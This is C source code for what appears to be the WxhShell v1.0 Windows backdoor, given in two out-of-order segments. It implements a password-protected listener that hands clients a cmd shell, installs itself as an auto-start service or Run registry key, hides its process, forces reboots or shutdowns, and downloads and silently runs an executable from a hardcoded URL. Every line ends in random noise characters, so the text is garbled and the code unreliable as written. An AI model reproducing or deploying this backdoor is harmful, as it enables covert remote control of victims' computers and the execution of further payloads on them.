    if(Boot(SHUTDOWN)) ibAA:I,d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[+!c-A:H  
    else { lxz %b C@  
    closesocket(wsh); }dR *bG  
    ExitThread(0); zSH#j RDV  
    } w:N2 xI  
    break; ' FK"-)s  
    } SeTU`WLEm  
  // 获取shell [5 V  
  case 's': { (j /O=$mJ  
    CmdShell(wsh); !I Nr  
    closesocket(wsh); HkN +:  
    ExitThread(0); BY d3rI  
    break; +vnaEy  
  } o MAK[$k;  
  // 退出 ?c+;  
  case 'x': { \[&]kPcDl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wf4Q}l2,d  
    CloseIt(wsh); gn%"dfm  
    break; PA/6l"-`3  
    } d]^i1  
  // 离开 # 9t/j`{  
  case 'q': { *Tlv'E.M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r__M1 !3  
    closesocket(wsh); )/JC.d#  
    WSACleanup(); 4kM<L}J#  
    exit(1); \2`U$3Q  
    break; 0>`69&;g|  
        } rij[ZrJ  
  } }VGiT~2$  
  } KOQTvJ_#  
fjFy$NX&>  
  // 提示信息 &M!:,B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ n2udV  
} 7,zARWB!?  
  } 2$91+N*w9  
y)}aySQK^  
  return; SMyg=B\x?7  
} Z7^}G=*  
Z:_y,( 1Q  
// shell模块句柄 ^~Sn{esA  
int CmdShell(SOCKET sock) z#4g,)ZX  
{ %8Z,t+'  
STARTUPINFO si; qo;\dp1  
ZeroMemory(&si,sizeof(si)); ?MH4<7?"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D6u>[Z[T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0 *\=Q$Yy  
PROCESS_INFORMATION ProcessInfo; YYHm0pc  
char cmdline[]="cmd"; Pa}vmn1$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F?=u:  
  return 0; sFQ|lU"n  
} 4B`Rz1QBy  
o1Ln7r.  
// 自身启动模式 6{'6_4;Fv(  
int StartFromService(void) tOw 0(-:iq  
{ ~|rkt`8p  
typedef struct N6;Z\\&0^q  
{ jvQ"cs$.  
  DWORD ExitStatus; }El_.@'T &  
  DWORD PebBaseAddress; +0Gep}&z.  
  DWORD AffinityMask; 8:xo ~Vc  
  DWORD BasePriority; %S.U`(.  
  ULONG UniqueProcessId; ~-d.3A $u  
  ULONG InheritedFromUniqueProcessId; w|C~{  
}   PROCESS_BASIC_INFORMATION; =]e^8;e9  
M-N2>i#  
PROCNTQSIP NtQueryInformationProcess; 4Z }{hc\J  
;Oy>-Ij5P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lIg2iun[n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )_cv}.xe  
pm\X*t}L  
  HANDLE             hProcess; Wg^cj:&`u  
  PROCESS_BASIC_INFORMATION pbi; 2(Uz9!<V  
7-I>5 3@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yipD5,TC  
  if(NULL == hInst ) return 0; P*`xiTA  
t [hocl/6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E]U0CwFtr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _~Vz+nT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T+RI8.#o  
1m;*fs  
  if (!NtQueryInformationProcess) return 0; b6&NzUt34V  
aG_O N0g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RJwIN,&1.  
  if(!hProcess) return 0; $?AA"Nz  
bpa O`[*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Ne&SXg  
'%C.([  
  CloseHandle(hProcess); 8G&+  
><Z3<7K9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ir"Q%>K0f  
if(hProcess==NULL) return 0; '<< ~wt  
v9m;vWp  
HMODULE hMod; ++DQS9b{  
char procName[255]; Qk.Q9@3W  
unsigned long cbNeeded; 86fK= G:>  
/I'u/{KB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5!jNL~M  
: 5<9/  
  CloseHandle(hProcess);  ;c Co+(  
U q w}4C/0  
if(strstr(procName,"services")) return 1; // 以服务启动 W^.-C  
X2dc\v.x  
  return 0; // 注册表启动 ~vSAnjeR  
} dP7Vs a+  
in #]3QGV  
// 主模块 E\~ KVn  
int StartWxhshell(LPSTR lpCmdLine) i4zV(  
{ |F@xwfgb  
  SOCKET wsl; H9VXsFTW  
BOOL val=TRUE; Secq^#]8  
  int port=0; o.3YM.B#  
  struct sockaddr_in door; bk"k&.C^+  
+O$:  
  if(wscfg.ws_autoins) Install(); BCUt`;q ]B  
nt0\q'&  
port=atoi(lpCmdLine); Mp"'?zf  
r<X4ER  
if(port<=0) port=wscfg.ws_port; Z%5nVsm:G  
(y~laW!  
  WSADATA data; Ft;u\KT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^@`e  
]TBtLU3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fu4EEi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uR:=V9O  
  door.sin_family = AF_INET; }\f(qw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %U5P}  
  door.sin_port = htons(port); Q:kVCm/;  
!ASoXQRz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B3 dA%\'  
closesocket(wsl); w=D%D8 r2  
return 1; ~llMrl7  
} O}MZ-/z=o~  
w}j6 .r  
  if(listen(wsl,2) == INVALID_SOCKET) { -jxWlO  
closesocket(wsl); 97Zk P=Cq  
return 1; 3WCqKXJ7  
} cZe'!CQS  
  Wxhshell(wsl); sq~+1(X  
  WSACleanup(); ,](v?v.[4  
=_8 UZk.  
return 0; df4sOqU  
AhvvuN$n%  
} &nqdl+|G*  
'h^-t^:<>b  
// 以NT服务方式启动 p@/(.uE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %j *k  
{ Gefnk!;;  
DWORD   status = 0; 2cCWQ"_,  
  DWORD   specificError = 0xfffffff; hdd>&?p3  
OL=ET)Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z 7s;F}=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -BA"3 S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 731h ~x!u  
  serviceStatus.dwWin32ExitCode     = 0; b/sOfQ  
  serviceStatus.dwServiceSpecificExitCode = 0; XogvtK*  
  serviceStatus.dwCheckPoint       = 0; d"H<e}D  
  serviceStatus.dwWaitHint       = 0; [d4,gEx`Q\  
uxa=KM1H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cQT1Xi  
  if (hServiceStatusHandle==0) return; xLx"*jyL  
v"u7~Dw# 1  
status = GetLastError(); m|]j'g?{}(  
  if (status!=NO_ERROR) /Hv* K&}M  
{ ]alh_U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I*D<J$ 9N  
    serviceStatus.dwCheckPoint       = 0; WP0 #i~3*  
    serviceStatus.dwWaitHint       = 0; .OmQ'  
    serviceStatus.dwWin32ExitCode     = status; HEBqv+bG  
    serviceStatus.dwServiceSpecificExitCode = specificError; >0PUWr$8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,b4):{  
    return; M^z=1YrMd  
  } 0iYP  
1"}B]5!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9nn>O?  
  serviceStatus.dwCheckPoint       = 0; $^}[g9]1  
  serviceStatus.dwWaitHint       = 0; Ptx,2e&Hq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^:qD.h>&  
} 5k69F   
&yE1U#J(  
// 处理NT服务事件,比如:启动、停止 "H>.':c"+3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0$tjNy e  
{ ?*[\UC  
switch(fdwControl) dM Y 0K  
{ h$70H^r  
case SERVICE_CONTROL_STOP: re; Lg C  
  serviceStatus.dwWin32ExitCode = 0; NCa~#i:F8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D!oZ?dGCo6  
  serviceStatus.dwCheckPoint   = 0; :$=|7v  
  serviceStatus.dwWaitHint     = 0; AHwG<k  
  { OU!nN>ln  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CWs: l3_yn  
  } A t{U~^  
  return; Va7c#P?  
case SERVICE_CONTROL_PAUSE: wX ,h< \7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :c y >c2  
  break; IAf$]Fh  
case SERVICE_CONTROL_CONTINUE: RU0i#suiz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X8Xn\E  
  break; QC{u|  
case SERVICE_CONTROL_INTERROGATE: Q"%QQo}}  
  break; ]ni6p&b>  
}; r} Lb3`'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !tU'J"Zy  
} g<$. - g  
L}$z/jo  
// 标准应用程序主函数 0x@A~!MoP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kq&qE>Ju  
{ .s2$al  
["a"x>X&  
// 获取操作系统版本 GW3>&j_!d  
OsIsNt=GetOsVer(); /v|Onq1Y4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :?=Q39O9  
nL+p~Hi  
  // 从命令行安装 9_ZBV{   
  if(strpbrk(lpCmdLine,"iI")) Install(); ?`"n3!>bS  
BX[~% iE  
  // 下载执行文件 ;3;2h+U*  
if(wscfg.ws_downexe) { t0Zk-/s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ! Z;T-3^.  
  WinExec(wscfg.ws_filenam,SW_HIDE); zBY~lNB  
} @QdnjXII*  
E ] B7  
if(!OsIsNt) { d yh<pX/$  
// 如果时win9x,隐藏进程并且设置为注册表启动 @vRwzc\   
HideProc(); *0y{ ~@  
StartWxhshell(lpCmdLine); KVR~jF%  
} LL(|$}yW  
else h/2/vBs  
  if(StartFromService()) A1),el-^5  
  // 以服务方式启动 +-BwQ{92[:  
  StartServiceCtrlDispatcher(DispatchTable); ~$<UE}qp  
else c~imE%  
  // 普通方式启动 4w4^yQE  
  StartWxhshell(lpCmdLine); pu9^e4B9  
~_>cM c  
return 0; rrqQCn9  
} 1%~[rnQ  
!_~UvxM+  
z.oU4c  
/_t|Dry015  
=========================================== :Q_3hK  
iWA|8$u4gm  
F~HRME; Z  
TL0[@rr4  
0;<)\Wt=i9  
XNehPZYS  
" YoKs:e2/:  
Xg7|JS!  
#include <stdio.h> < zOi4v0  
#include <string.h> 65TfFcQ<S  
#include <windows.h> G2:%g(  
#include <winsock2.h> PuL<^aJ  
#include <winsvc.h> <a( }kk}  
#include <urlmon.h> D`yEwpV^  
`P}9i@C  
#pragma comment (lib, "Ws2_32.lib") i7*EbaYzUO  
#pragma comment (lib, "urlmon.lib") u92^(|  
<S?#@F\"S  
#define MAX_USER   100 // 最大客户端连接数 ;*2>ES  
#define BUF_SOCK   200 // sock buffer X4|4QgY  
#define KEY_BUFF   255 // 输入 buffer IkPN?N  
Oy57$  
#define REBOOT     0   // 重启 K`g7$r)U[  
#define SHUTDOWN   1   // 关机 lIRlMLuG  
V  ~@^`Gd  
#define DEF_PORT   5000 // 监听端口 /Ncm^b4  
=u[k1s?  
#define REG_LEN     16   // 注册表键长度 eHiy,IN  
#define SVC_LEN     80   // NT服务名长度 P"/G  
jszK7$]^  
// 从dll定义API Az;t"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v'!a\b`9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jl3g{a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A/7{oB:a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); **3 z;58i  
s$D ^>0  
// wxhshell配置信息 )3Z ^h<"j  
struct WSCFG { Z;/$niY  
  int ws_port;         // 监听端口 <r#eL39I  
  char ws_passstr[REG_LEN]; // 口令 0'YG6(h  
  int ws_autoins;       // 安装标记, 1=yes 0=no :a ->0 l  
  char ws_regname[REG_LEN]; // 注册表键名 jRSUp E8  
  char ws_svcname[REG_LEN]; // 服务名 ,'xYlH3s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R\@/U=iqR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !$-\;<bZw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q/>{f0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [Zei0O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2EZb )&Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bef_rH@`  
1cS}J:0P  
}; &0 >Loja`^  
OxI/%yv-c  
// default Wxhshell configuration u/cg|]x&T  
struct WSCFG wscfg={DEF_PORT, P9g en6  
    "xuhuanlingzhe", =6"2UC&  
    1, 'Vyt4^$%  
    "Wxhshell", ?7<JQh)"e  
    "Wxhshell", qlL`jWJ  
            "WxhShell Service", At7>V-f}  
    "Wrsky Windows CmdShell Service", na9sm  
    "Please Input Your Password: ", Ag{iq(X  
  1, <Utnz)  
  "http://www.wrsky.com/wxhshell.exe", > ;/l)qk,  
  "Wxhshell.exe" ,lZB96r0  
    }; Jn{OWw2  
G:~k.1y[  
// 消息定义模块 {}3${  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'nXl>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (h >-&.`&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; emCM\|NQg&  
char *msg_ws_ext="\n\rExit."; \v'p/G)g  
char *msg_ws_end="\n\rQuit."; T6 '`l?H`;  
char *msg_ws_boot="\n\rReboot..."; E\Rhz]G(  
char *msg_ws_poff="\n\rShutdown..."; 9 FB19  
char *msg_ws_down="\n\rSave to "; eeyHy"@  
R8ZK]5{o  
char *msg_ws_err="\n\rErr!"; N<~t3/Nm  
char *msg_ws_ok="\n\rOK!"; e" St_z(  
SHe49!RA'{  
char ExeFile[MAX_PATH]; _lamn }(x0  
int nUser = 0; xai*CY@cQ  
HANDLE handles[MAX_USER]; ogyTO|V=  
int OsIsNt; BO;6 u^[  
7Zlw^'q$:L  
SERVICE_STATUS       serviceStatus; etTn_v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,yiX# ;j  
*MKO I'  
// 函数声明 Qk:Y2mL  
int Install(void); 03q 5e  
int Uninstall(void); LDPUD'  
int DownloadFile(char *sURL, SOCKET wsh); I}1NB3>^  
int Boot(int flag); Tf'hc]`vS  
void HideProc(void); 9[<)WQe6M  
int GetOsVer(void); be.*#[  
int Wxhshell(SOCKET wsl); =ALTUV3/q  
void TalkWithClient(void *cs); &L=suDe  
int CmdShell(SOCKET sock); D]zwl@sRX:  
int StartFromService(void); <0Xf9a8>  
int StartWxhshell(LPSTR lpCmdLine); |?,A]|j  
F(>Np2oi6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h1de[q)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9Z4nAc  
4K\G16'$v  
// 数据结构和表定义 2LF/H$] o5  
SERVICE_TABLE_ENTRY DispatchTable[] = p{T*k'  
{ 4h|c<-`>t  
{wscfg.ws_svcname, NTServiceMain}, V<GHpFi0  
{NULL, NULL} nT7%j{e=L  
}; !2%HhiB'   
F3On?x)  
// 自我安装 ofm#'7P 0  
int Install(void) ~%&LTX0s|  
{ Kp%2k^U  
  char svExeFile[MAX_PATH]; KcWN,!G  
  HKEY key; rNXQf'*I  
  strcpy(svExeFile,ExeFile); ;U/&I3dzV  
LBYMCY  
// 如果是win9x系统,修改注册表设为自启动 =$'6(aDH  
if(!OsIsNt) { ]_f_w 9]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h4fJvOk|!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j#!IuH\]  
  RegCloseKey(key); u^^[Q2LDU}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6m}Ev95  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +%<(E  
  RegCloseKey(key); 'j#*6xD  
  return 0; @0Ic3C[rH6  
    } +}Dw3;W}m  
  } *#,7d"6W5  
} V5+=e^pa2  
else { f,U.7E  
~~D{spMVO  
// 如果是NT以上系统,安装为系统服务 =W(Q34  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u-QB.iQ+s  
if (schSCManager!=0) W!Gq.M  
{ n@<YI  
  SC_HANDLE schService = CreateService Vh|*p&  
  ( 3Z>Ux3[  
  schSCManager, @a! #G  
  wscfg.ws_svcname, xG~P+n7t5$  
  wscfg.ws_svcdisp, `KZm0d{H  
  SERVICE_ALL_ACCESS, hNC&T`.-~B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8I=2lK  
  SERVICE_AUTO_START, ` 'DmDg  
  SERVICE_ERROR_NORMAL, 5%Y3 Kwyy  
  svExeFile, pC#E_*49  
  NULL, ; 5*&xz  
  NULL, .73X3`P25  
  NULL, ">\?&0  
  NULL, T^zXt?  
  NULL sA+ }TNhq  
  ); (d(CT;  
  if (schService!=0) 1KU! tL  
  { u+9hL4  
  CloseServiceHandle(schService); yl'u'-Zb6  
  CloseServiceHandle(schSCManager); >xN .F/[K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /J]5H  
  strcat(svExeFile,wscfg.ws_svcname); 'NWfBJm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !Jo_"#5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mVj9, q0  
  RegCloseKey(key); tR# OjkvX  
  return 0; +Q/R{#O  
    } y\/1/WjBn  
  } GV1pn) 4  
  CloseServiceHandle(schSCManager); dn& s*  
} !Lu2  
} !Z1@}`V&;  
8=!D$t\3  
return 1; l5~os>  
} A[B<~  
)~X2 &^orW  
// 自我卸载 21n?=[  
int Uninstall(void) ,<.V7(|t)  
{ &j;wCvE4+  
  HKEY key; 9[#pIPxNK  
{4l8}w  
if(!OsIsNt) { zOJ%}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %7hrk  
  RegDeleteValue(key,wscfg.ws_regname); ]>!K3kB  
  RegCloseKey(key); [:dY0r+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !n`fTK<$  
  RegDeleteValue(key,wscfg.ws_regname); )Om*@;r(  
  RegCloseKey(key); %O;:af"Ja8  
  return 0; td$E/h=3  
  } YqscZ(L:y  
} e+EQ]<M  
} ;[ZEDF5H  
else { @@f"%2ZR[  
ibcRU y0%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *tA1az-jO  
if (schSCManager!=0) dRYqr}!%n  
{ Q3'llOx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y RqL9t  
  if (schService!=0) PrqlTT}Px  
  { l]5K N  
  if(DeleteService(schService)!=0) { Xg6Jh``  
  CloseServiceHandle(schService); ROI7eU  
  CloseServiceHandle(schSCManager); }:zE< bK  
  return 0; 2DA]i5  
  } FaAC&F@u  
  CloseServiceHandle(schService); r `=I  
  } #\{l"-  
  CloseServiceHandle(schSCManager); z(ONv#}p  
} vO^m;['  
} `7E;VL^Y1  
, >a&"V^k  
return 1; jVe1b1rt~3  
} )rU  
bIDj[-CDG  
// 从指定url下载文件 DeVv4D:}@  
int DownloadFile(char *sURL, SOCKET wsh) k=$TGqQY?  
{ ;?Tbnn Wn  
  HRESULT hr; Wu/]MBM  
char seps[]= "/"; ,&A7iO  
char *token; v4TQX<0s  
char *file; u {cW:  
char myURL[MAX_PATH]; UW={[h{.|@  
char myFILE[MAX_PATH]; QE+g j8  
&&8x%Pml  
strcpy(myURL,sURL); { 'eC`04E  
  token=strtok(myURL,seps); 1s&zMWC  
  while(token!=NULL) n+9=1Oo"  
  { yWc$>ne[L  
    file=token; >h9I M$2  
  token=strtok(NULL,seps); 9<?M8_  
  } KZY}%il!`  
}-{H  Y  
GetCurrentDirectory(MAX_PATH,myFILE); e2Pcm_Ahv*  
strcat(myFILE, "\\"); a5"D@E  
strcat(myFILE, file); 5 V~oIL  
  send(wsh,myFILE,strlen(myFILE),0); B"w?;EeV.  
send(wsh,"...",3,0); G_8RK,H.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7aRi5  
  if(hr==S_OK) $)i")=Hy  
return 0; FX&~\kmV'j  
else h2A <"w  
return 1; %wg -=;d4  
2zA4vZkbcw  
} W(Fv l  
>2)OiQ`zg  
// 系统电源模块 >>)b'c  
int Boot(int flag) | j`@eF/"  
{ 1=c\Rr9]  
  HANDLE hToken; x+:UN'"r  
  TOKEN_PRIVILEGES tkp; OZF rtc+  
n,(sBOQ  
  if(OsIsNt) { !Pvf;rNI1T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {6|G@ ""O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LmrfN?5  
    tkp.PrivilegeCount = 1; xrz,\eTb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nNV'O(x}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /9*B)m"  
if(flag==REBOOT) { }eU*( }<^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %lhEM}Sm  
  return 0; \ a<h/4#|  
} <z&/L/bl"  
else { 6I4\q.^qw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qJs<#MQ2  
  return 0; Y_IF;V\  
} bHYy}weZ  
  } Yui3+}Ms  
  else { wE>\7a*P%  
if(flag==REBOOT) { [A~xy'T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %D34/=(X  
  return 0; 6dt]`zv/  
} tjGn|+|k  
else { $y&E(J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +F` S>U  
  return 0; =l;ewlU  
} . B9iLI  
} qPK*%Q<;  
m+R[#GE8#  
return 1; YeL#jtC  
} ~s*)f.l  
F?*-4I-  
// win9x进程隐藏模块 0B/,/KX  
void HideProc(void) =F~S?y  
{ &*,#5.  
HxV=F66"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nI-w}NQ  
  if ( hKernel != NULL ) kQSy+q  
  { @7]yl&LZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pfDc9PMj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VcO0sa f`  
    FreeLibrary(hKernel); cWsNr'MS*  
  } ^z IW+:  
4N_R:B-V u  
return; zuad~%D<I  
} 6+|do+0Icg  
 :D6 ON"6  
// 获取操作系统版本 n u[ML  
int GetOsVer(void) R6Km\N  
{ Vpz\.]  
  OSVERSIONINFO winfo; gnOt+W8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nho>f  
  GetVersionEx(&winfo); ^R7lom.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %KhI>O<  
  return 1; v5#j Z$<F  
  else x7&B$.>3  
  return 0; t7Iv?5]N  
} EzM ?Nft  
C=L>zOZ  
// 客户端句柄模块 O|{d[eX  
int Wxhshell(SOCKET wsl) rNWw?_H-H(  
{ N1}sHyVq7  
  SOCKET wsh; ?}tFN_X"  
  struct sockaddr_in client; '4+ ur`  
  DWORD myID; |&+ o^  
I by\$~V  
  while(nUser<MAX_USER) \^J%sf${  
{ Eex~xiiV  
  int nSize=sizeof(client); ? r "{}%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _~l5u8{^6  
  if(wsh==INVALID_SOCKET) return 1; rxvx  
"Y =;.:qe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2 /\r)$ 2i  
if(handles[nUser]==0) GX!G>  
  closesocket(wsh); y1eW pPJa  
else b.JuI  
  nUser++; w7.V6S$Ga  
  } X"|['t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~?Qe?hB  
/!yU !`bY  
  return 0; vAF "n  
} }I+E\ <  
Xv5wJlc!d  
// 关闭 socket %A9NB!  
void CloseIt(SOCKET wsh) FF`T\&u  
{ :1. L}4"gg  
closesocket(wsh); `_Zg3_K.dS  
nUser--; p SH=%u>  
ExitThread(0); ;s= l52  
} .GP T!lDc  
KEo ,m  
// 客户端请求句柄 E1aHKjLQ  
void TalkWithClient(void *cs) g#pr yYz  
{ MC&` oX[  
f M :]&  
  SOCKET wsh=(SOCKET)cs; bivuqKA  
  char pwd[SVC_LEN]; lBLARz&c#  
  char cmd[KEY_BUFF]; #>("CAB02T  
char chr[1]; Hh3X \  
int i,j; 9IdA%RM~mH  
<y('hI'  
  while (nUser < MAX_USER) { y4 #>X  
d`=MgHz  
if(wscfg.ws_passstr) { h ohfE3rd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p}z<Fdu 0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6m/r+?'  
  //ZeroMemory(pwd,KEY_BUFF); DZ 3wCLQtK  
      i=0; J\} twYty  
  while(i<SVC_LEN) { )Yh+c=6 ?  
) yi E@ X  
  // 设置超时 z3{G9Np  
  fd_set FdRead; K-^\" W8  
  struct timeval TimeOut; kUL' 1!j7  
  FD_ZERO(&FdRead); Y #ap*  
  FD_SET(wsh,&FdRead); G/y5H;<9M  
  TimeOut.tv_sec=8; !]A  
  TimeOut.tv_usec=0; Hp|kQJ[LE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hs;4lSyUO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G=s}12/Z"{  
6fE7W>la  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 58}U^IW  
  pwd=chr[0]; M~Tuj1?  
  if(chr[0]==0xd || chr[0]==0xa) { {Y(zd[  
  pwd=0; '|6]_   
  break; >mbHy<<  
  } h6L&\~pf  
  i++; nSDMOyj+  
    } o)M}!MT  
NR$3%0 nC6  
  // 如果是非法用户,关闭 socket >4x(e\B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;>%r9pz ~  
} \i>?q   
RN1y^`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y,qI@n<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {r,.!;mHu  
Q^P}\wb>  
while(1) { [~+wk9P  
gi3F` m  
  ZeroMemory(cmd,KEY_BUFF); + )AG*  
q^@Q"J =v  
      // 自动支持客户端 telnet标准   _O)>$.^6  
  j=0; i]c!~`  
  while(j<KEY_BUFF) { X;+sUj8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?d\N(s9F  
  cmd[j]=chr[0]; 7uqzm  
  if(chr[0]==0xa || chr[0]==0xd) { w?PkO p  
  cmd[j]=0; $j%'{)gK  
  break; -u+vJ6EY  
  } (!u~CZ;  
  j++; q~F|  
    } OU\~::  
+%z> H"J.  
  // 下载文件 ~Y[r`]X`"m  
  if(strstr(cmd,"http://")) { 5X:AbF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a@K%06A;'  
  if(DownloadFile(cmd,wsh)) fivw~z|[@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *gb*LhgO  
  else [C 7^r3w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r.=K~A  
  } 4&lv6`G `  
  else { gT{Q#C2Baw  
[T4J{y64Y  
